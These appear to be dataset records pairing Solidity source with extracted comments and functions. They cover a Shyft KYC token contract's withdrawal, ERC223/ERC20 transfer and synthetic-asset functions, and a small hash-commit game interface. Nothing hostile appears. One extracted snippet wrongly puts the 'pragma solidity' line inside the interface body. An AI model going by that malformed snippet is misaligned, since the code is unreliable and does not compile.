lockOnlyAcceptsKycInputPermanently[_identifiedAddress]; } //---------------- Token Upgrades ----------------// //****************************************************************************************************************// //@note: instead of explicitly returning, assign return value to variable allows the code after the _; // in the mutex modifier to be run! //****************************************************************************************************************// /// @param _value The amount of tokens to upgrade. /// @dev Upgrades the user's tokens by sending them to the next contract (which will do the same). Sets auto upgrade for the user as well. /// @return result /// | 3 = withdrew correctly /// | 2 = could not withdraw /// | 1 = not enough balance /// | 0 = contract has not been updated function upgradeNativeTokens(uint256 _value) mutex public returns (uint256 result) { //check if it's been updated if (hasBeenUpdated == true) { //make sure the msg.sender has enough synthetic fuel to transfer if (balances[msg.sender][nativeBip32X_type] >= _value) { autoUpgradeEnabled[msg.sender] = true; //then proceed to send to address(this) to initiate the autoUpgrade // to the new contract. bool withdrawResult = withdrawToShyftKycContract(address(this), msg.sender, _value); if (withdrawResult == true) { //withdrew correctly result = 3; } else { //could not withdraw result = 2; } } else { //not enough balance result = 1; } } else { //contract has not been updated result = 0; } } /// @param _autoUpgrade Whether the tokens should be automatically upgraded when sent to this contract. /// @dev Sets auto upgrade for the message sender, for fallback functionality to upgrade tokens on receipt. The only reason a user would want to call this function is to modify behaviour *after* this contract has been updated, thus allowing choice. function setAutoUpgrade(bool _autoUpgrade) public { autoUpgradeEnabled[msg.sender] = _autoUpgrade; } //---------------- Native withdrawal / transfer functions ----------------// /// @param _to The destination payable address to send to. /// @param _value The amount of tokens to transfer. /// @dev Transfers native tokens (based on the current native Bip32X type, ex Shyft = 7341, Ethereum = 60) to the user's wallet. /// @notice 30k gas limit for transfers. /// @return ok /// | true = tokens withdrawn properly to another erc223 contract /// | false = the user does not have enough balance, or found a smart contract address instead of a payable address. function withdrawNative(address payable _to, uint256 _value) mutex public override returns (bool ok) { if (balances[msg.sender][nativeBip32X_type] >= _value) { uint codeLength; //retrieve the size of the code on target address, this needs assembly assembly { codeLength := extcodesize(_to) } //makes sure it's sending to a native (non-contract) address if (codeLength == 0) { balances[msg.sender][nativeBip32X_type] = balances[msg.sender][nativeBip32X_type].sub(_value); totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].sub(_value); //@note: this is going to a regular account. the existing balance has already been reduced, // and as such the only thing to do is to send the actual Shyft fuel (or Ether, etc) to the // target address. _to.transfer(_value); emit EVT_WithdrawToAddress(msg.sender, _to, _value); ok = true; } else { ok = false; } } else { ok = false; } } /// @param _to The destination smart contract address to send to. /// @param _value The amount of tokens to transfer. /// @dev Transfers SHFT tokens to another external contract, using Erc223 mechanisms. /// @notice 30k gas limit for transfers. /// @return ok /// | true = tokens withdrawn properly to another erc223 contract /// | false = the user does not have enough balance, or not a smart contract address function withdrawToExternalContract(address _to, uint256 _value) mutex public override returns (bool ok) { if (balances[msg.sender][nativeBip32X_type] >= _value) { uint codeLength; // bytes memory empty; //retrieve the size of the code on target address, this needs assembly assembly { codeLength := extcodesize(_to) } //makes sure it's sending to a contract address if (codeLength == 0) { ok = false; } else { balances[msg.sender][nativeBip32X_type] = balances[msg.sender][nativeBip32X_type].sub(_value); totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].sub(_value); //this will fail when sending to contracts with fallback functions that consume more than 20000 gas (bool success, ) = _to.call{value: _value, gas: 30000}(""); IErc223ReceivingContract receiver = IErc223ReceivingContract(_to); bool fallbackSuccess = receiver.tokenFallback(msg.sender, _value, abi.encodePacked(shyftKycContractSig)); if (success == true && fallbackSuccess == true) { emit EVT_WithdrawToExternalContract(msg.sender, _to, _value); ok = true; } else { //@note:@here: needs revert() due to asset transactions already having occurred revert(); //ok = false; } } } else { ok = false; } } /// @param _shyftKycContractAddress The address of the Shyft Kyc Contract that is being send to. /// @param _to The destination address to send to. /// @param _value The amount of tokens to transfer. /// @dev Transfers SHFT tokens to another Shyft Kyc contract. /// @notice 120k gas limit for transfers. /// @return ok /// | true = tokens withdrawn properly to another Kyc Contract. /// | false = the user does not have enough balance, or not a correct shyft contract address, or receiver only accepts kyc input. function withdrawToShyftKycContract(address _shyftKycContractAddress, address _to, uint256 _value) mutex public override returns (bool ok) { if (balances[msg.sender][nativeBip32X_type] >= _value) { uint codeLength; //retrieve the size of the code on target address, this needs assembly assembly { codeLength := extcodesize(_shyftKycContractAddress) } //makes sure it's sending to a contract address if (codeLength == 0) { // not a smart contract ok = false; } else { balances[msg.sender][nativeBip32X_type] = balances[msg.sender][nativeBip32X_type].sub(_value); totalSupplyBip32X[nativeBip32X_type] = totalSupplyBip32X[nativeBip32X_type].sub(_value); IShyftKycContract receivingShyftKycContract = IShyftKycContract(_shyftKycContractAddress); if (receivingShyftKycContract.getOnlyAcceptsKycInput(_to) == false) { // sending to ShyftKycContracts only; migrateFromKycContract uses ~75830 - 21000 gas to execute, // with a registry lookup. Adding 50k more just in case there are other checks in the v2. if (receivingShyftKycContract.migrateFromKycContract{gas: 120000, value: _value}(_to) == false) { revert(); } emit EVT_WithdrawToShyftKycContract(msg.sender, _to, _value); ok = true; } else { // receiver only accepts kyc input ok = false; } } } else { ok = false; } } //---------------- ERC 223 receiver ----------------// /// @param _from The address of the origin. /// @param _value The address of the recipient. /// @param _data The bytes data of any ERC223 transfer function. /// @dev Transfers assets to destination, with ERC20 functionality. (basic ERC20 functionality, but blocks transactions if Only Accepts Kyc Input is set to true.) /// @return ok returns true if the checks pass and there are enough allowed + actual tokens to transfer to the recipient. function tokenFallback(address _from, uint _value, bytes memory _data) mutex public override returns (bool ok) { // block transfers if the recipient only allows kyc input, check other factors require(onlyAcceptsKycInput[_from] == false); IShyftKycContractRegistry contractRegistry = IShyftKycContractRegistry(shyftKycContractRegistryAddress); // if kyc registry exists, check if only using a known kyc contract communication cycle, then verify the message // sender is a kyc contract. if (shyftKycContractRegistryAddress != address(0) && contractRegistry.isShyftKycContract(address(msg.sender)) == true) { revert("cannot process fallback from Shyft Kyc Contract in this version of Shyft Core"); } uint256 bip32X_type; bytes4 tokenSig; //make sure we have enough bytes to determine a signature if (_data.length >= 4) { tokenSig = bytes4(uint32(bytes4(bytes1(_data[3])) >> 24) + uint32(bytes4(bytes1(_data[2])) >> 16) + uint32(bytes4(bytes1(_data[1])) >> 8) + uint32(bytes4(bytes1(_data[0])))); } //@note: for token indexing, we use higher range addressable space (256 bit integer). // this guarantees practically infinite indexes. //@note: using msg.sender in the keccak hash since msg.sender in this case (should) be the // contract itself (and allowing this to be passed in, instead of using msg.sender, does not // suffice as any contract could then call this fallback.) // // thus, this fallback will not function properly with abstracted synthetics. bip32X_type = uint256(keccak256(abi.encodePacked(nativeBip32X_type, msg.sender))); balances[_from][bip32X_type] = balances[_from][bip32X_type].add(_value); emit EVT_Bip32X_TypeTokenFallback(msg.sender, _from, _value, nativeBip32X_type, bip32X_type); emit EVT_TransferAndMintBip32X_type(msg.sender, _from, _value, bip32X_type); ok = true; if (ok == true) { emit EVT_Erc223TokenFallback(_from, _value, _data); } } //---------------- ERC 223/20 ----------------// /// @param _who The address of the user. /// @dev Gets the balance for the SHFT token type for a specific user. /// @return the balance of the SHFT token type for the user function balanceOf(address _who) public view override returns (uint) { return balances[_who][ShyftTokenType]; } /// @dev Gets the name of the token. /// @return _name of the token. function name() public pure returns (string memory _name) { return "Shyft [ Byfrost ]"; } /// @dev Gets the symbol of the token. /// @return _symbol the symbol of the token function symbol() public pure returns (string memory _symbol) { //@note: "SFT" is the 3 letter variant return "SHFT"; } /// @dev Gets the number of decimals of the token. /// @return _decimals number of decimals of the token. function decimals() public pure returns (uint8 _decimals) { return 18; } /// @dev Gets the number of SHFT tokens available. /// @return result total supply of SHFT tokens function totalSupply() public view override returns (uint256 result) { return getTotalSupplyBip32X(ShyftTokenType); } /// @param _to The address of the origin. /// @param _value The address of the recipient. /// @dev Transfers assets to destination, with ERC20 functionality. (basic ERC20 functionality, but blocks transactions if Only Accepts Kyc Input is set to true.) /// @return ok returns true if the checks pass and there are enough allowed + actual tokens to transfer to the recipient. function transfer(address _to, uint256 _value) public override returns (bool ok) { // block transfers if the recipient only allows kyc input, check other factors if (onlyAcceptsKycInput[_to] == false && balances[msg.sender][ShyftTokenType] >= _value) { balances[msg.sender][ShyftTokenType] = balances[msg.sender][ShyftTokenType].sub(_value); balances[_to][ShyftTokenType] = balances[_to][ShyftTokenType].add(_value); emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } /// @param _to The address of the origin. /// @param _value The address of the recipient. /// @param _data The bytes data of any ERC223 transfer function. /// @dev Transfers assets to destination, with ERC223 functionality. (basic ERC223 functionality, but blocks transactions if Only Accepts Kyc Input is set to true.) /// @return ok returns true if the checks pass and there are enough allowed + actual tokens to transfer to the recipient. function transfer(address _to, uint _value, bytes memory _data) mutex public override returns (bool ok) { // block transfers if the recipient only allows kyc input, check other factors if (onlyAcceptsKycInput[_to] == false && balances[msg.sender][ShyftTokenType] >= _value) { uint codeLength; //retrieve the size of the code on target address, this needs assembly assembly { codeLength := extcodesize(_to) } balances[msg.sender][ShyftTokenType] = balances[msg.sender][ShyftTokenType].sub(_value); balances[_to][ShyftTokenType] = balances[_to][ShyftTokenType].add(_value); if (codeLength > 0) { IErc223ReceivingContract receiver = IErc223ReceivingContract(_to); if (receiver.tokenFallback(msg.sender, _value, _data) == true) { ok = true; } else { //@note: must revert() due to asset transactions already having occurred. revert(); } } else { ok = true; } } if (ok == true) { emit Transfer(msg.sender, _to, _value, _data); } } /// @param _tokenOwner The address of the origin. /// @param _spender The address of the recipient. /// @dev Get the current allowance for the basic Shyft token type. (basic ERC20 functionality) /// @return remaining the current allowance for the basic Shyft token type for a specific user function allowance(address _tokenOwner, address _spender) public view override returns (uint remaining) { return allowed[_tokenOwner][_spender][ShyftTokenType]; } /// @param _spender The address of the recipient. /// @param _tokens The amount of tokens to transfer. /// @dev Allows pre-approving assets to be sent to a participant. (basic ERC20 functionality) /// @notice This (standard) function known to have an issue. /// @return success whether the approve function completed successfully function approve(address _spender, uint _tokens) public override returns (bool success) { allowed[msg.sender][_spender][ShyftTokenType] = _tokens; //example of issue: //user a has 20 tokens allowed from zero :: no incentive to frontrun //user a has +2 tokens allowed from 20 :: frontrunning would deplete 20 and add 2 :: incentive there. emit Approval(msg.sender, _spender, _tokens); return true; } /// @param _from The address of the origin. /// @param _to The address of the recipient. /// @param _tokens The amount of tokens to transfer. /// @dev Performs the withdrawal of pre-approved assets. (basic ERC20 functionality, but blocks transactions if Only Accepts Kyc Input is set to true.) /// @return success returns true if the checks pass and there are enough allowed + actual tokens to transfer to the recipient. function transferFrom(address _from, address _to, uint _tokens) public override returns (bool success) { // block transfers if the recipient only allows kyc input, check other factors if (onlyAcceptsKycInput[_to] == false && allowed[_from][msg.sender][ShyftTokenType] >= _tokens && balances[_from][ShyftTokenType] >= _tokens) { allowed[_from][msg.sender][ShyftTokenType] = allowed[_from][msg.sender][ShyftTokenType].sub(_tokens); balances[_from][ShyftTokenType] = balances[_from][ShyftTokenType].sub(_tokens); balances[_to][ShyftTokenType] = balances[_to][ShyftTokenType].add(_tokens); emit Transfer(_from, _to, _tokens); return true; } else { return false; } } //---------------- Shyft Token Transfer [KycContract] ----------------// /// @param _to The address of the recipient. /// @param _value The amount of tokens to transfer. /// @param _bip32X_type The Bip32X type of the asset to transfer. /// @dev | Transfers assets from one Shyft user to another, with restrictions on the transfer if the recipient has enabled Only Accept KYC Input. /// @return result returns true if the transaction completes, reverts if it does not. function transferBip32X_type(address _to, uint256 _value, uint256 _bip32X_type) public returns (bool result) { // block transfers if the recipient only allows kyc input require(onlyAcceptsKycInput[_to] == false); require(balances[msg.sender][_bip32X_type] >= _value); balances[msg.sender][_bip32X_type] = balances[msg.sender][_bip32X_type].sub(_value); balances[_to][_bip32X_type] = balances[_to][_bip32X_type].add(_value); emit EVT_TransferBip32X_type(msg.sender, _to, _value, _bip32X_type); return true; } //---------------- Shyft Token Transfer [Erc223] ----------------// /// @param _erc223ContractAddress The address of the ERC223 contract that /// @param _to The address of the recipient. /// @param _value The amount of tokens to transfer. /// @dev | Withdraws a Bip32X type Shyft synthetic asset into its origin ERC223 contract. Burns the current synthetic balance. /// | Cannot withdraw Bip32X type into an incorrect destination contract (as the hash will not match). /// @return ok returns true if the transaction completes, reverts if it does not function withdrawTokenBip32X_typeToErc223(address _erc223ContractAddress, address _to, uint256 _value) mutex public returns (bool ok) { uint256 bip32X_type = uint256(keccak256(abi.encodePacked(nativeBip32X_type, _erc223ContractAddress))); require(balances[msg.sender][bip32X_type] >= _value); bytes memory empty; balances[msg.sender][bip32X_type] = balances[msg.sender][bip32X_type].sub(_value); bytes4 sig = bytes4(keccak256(abi.encodePacked("transfer(address,uint256,bytes)"))); (bool success, ) = _erc223ContractAddress.call(abi.encodeWithSelector(sig, _to, _value, empty)); IErc223ReceivingContract receiver = IErc223ReceivingContract(_erc223ContractAddress); bool fallbackSuccess = receiver.tokenFallback(msg.sender, _value, empty); if (fallbackSuccess == true && success == true) { emit EVT_TransferAndBurnBip32X_type(_erc223ContractAddress, msg.sender, _to, _value, bip32X_type); ok = true; } else { //@note: reverts since a transactional event has occurred. revert(); } } //---------------- Shyft Token Transfer [Erc20] ----------------// /// @param _erc20ContractAddress The address of the ERC20 contract that /// @param _value The amount of tokens to transfer. /// @dev | Transfers assets from any Erc20 contract to a Bip32X type Shyft synthetic asset. Mints the current synthetic balance. /// @return ok returns true if the transaction completes, reverts if it does not function transferFromErc20Token(address _erc20ContractAddress, uint256 _value) mutex public returns (bool ok) { require(_erc20ContractAddress != address(this)); // block transfers if the recipient only allows kyc input, check other factors require(onlyAcceptsKycInput[msg.sender] == false); IErc20 erc20Contract = IErc20(_erc20ContractAddress); if (erc20Contract.allowance(msg.sender, address(this)) >= _value) { bool transferFromResult = erc20Contract.transferFrom(msg.sender, address(this), _value); if (transferFromResult == true) { //@note: using _erc20ContractAddress in the keccak hash since _erc20ContractAddress will be where // the tokens are created and managed. // // thus, this fallback will not function properly with abstracted synthetics (including this contract) // hence the initial require() check above to prevent this behaviour. uint256 bip32X_type = uint256(keccak256(abi.encodePacked(nativeBip32X_type, _erc20ContractAddress))); balances[msg.sender][bip32X_type] = balances[msg.sender][bip32X_type].add(_value); emit EVT_TransferAndMintBip32X_type(_erc20ContractAddress, msg.sender, _value, bip32X_type); //transfer successful ok = true; } else { //@note: reverts since a transactional event has occurred. revert(); } } else { //not enough allowance } } /// @param _erc20ContractAddress The address of the ERC20 contract that /// @param _to The address of the recipient. /// @param _value The amount of tokens to transfer. /// @dev | Withdraws a Bip32X type Shyft synthetic asset into its origin ERC20 contract. Burns the current synthetic balance. /// | Cannot withdraw Bip32X type into an incorrect destination contract (as the hash will not match). /// @return ok returns true if the transaction completes, reverts if it does not function withdrawTokenBip32X_typeToErc20(address _erc20ContractAddress, address _to, uint256 _value) mutex public returns (bool ok) { uint256 bip32X_type = uint256(keccak256(abi.encodePacked(nativeBip32X_type, _erc20ContractAddress))); require(balances[msg.sender][bip32X_type] >= _value); balances[msg.sender][bip32X_type] = balances[msg.sender][bip32X_type].sub(_value); bytes4 sig = bytes4(keccak256(abi.encodePacked("transfer(address,uint256)"))); (bool success, ) = _erc20ContractAddress.call(abi.encodeWithSelector(sig, _to, _value)); if (success == true) { emit EVT_TransferAndBurnBip32X_type(_erc20ContractAddress, msg.sender, _to, _value, bip32X_type); ok = true; } else { //@note: reverts since a transactional event has occurred. revert(); } } }
block transfers if the recipient only allows kyc input
function transferBip32X_type(address _to, uint256 _value, uint256 _bip32X_type) public returns (bool result) { require(onlyAcceptsKycInput[_to] == false); require(balances[msg.sender][_bip32X_type] >= _value); balances[msg.sender][_bip32X_type] = balances[msg.sender][_bip32X_type].sub(_value); balances[_to][_bip32X_type] = balances[_to][_bip32X_type].add(_value); emit EVT_TransferBip32X_type(msg.sender, _to, _value, _bip32X_type); return true; }
5,381,699
// SPDX-License-Identifier: UNLICENSED pragma solidity^0.6.10; // 定义接口 interface IDivergence { // 注册 function register(string memory _name) external; // 出手 function punch(bytes32 _hash) external; // 证明 function proofing(string memory _salt, uint8 _opt) external; // 查看获胜 // 返回值: 1. 昵称 2. 玩家1出手 3. 玩家2出手 4. 轮次 function winner() external view returns (string memory, string memory, string memory, uint256); }
定义接口 注册 出手 证明 查看获胜 返回值: 1. 昵称 2. 玩家1出手 3. 玩家2出手 4. 轮次
interface IDivergence { function register(string memory _name) external; function punch(bytes32 _hash) external; function proofing(string memory _salt, uint8 _opt) external; function winner() external view returns (string memory, string memory, string memory, uint256); pragma solidity^0.6.10; }
7,288,570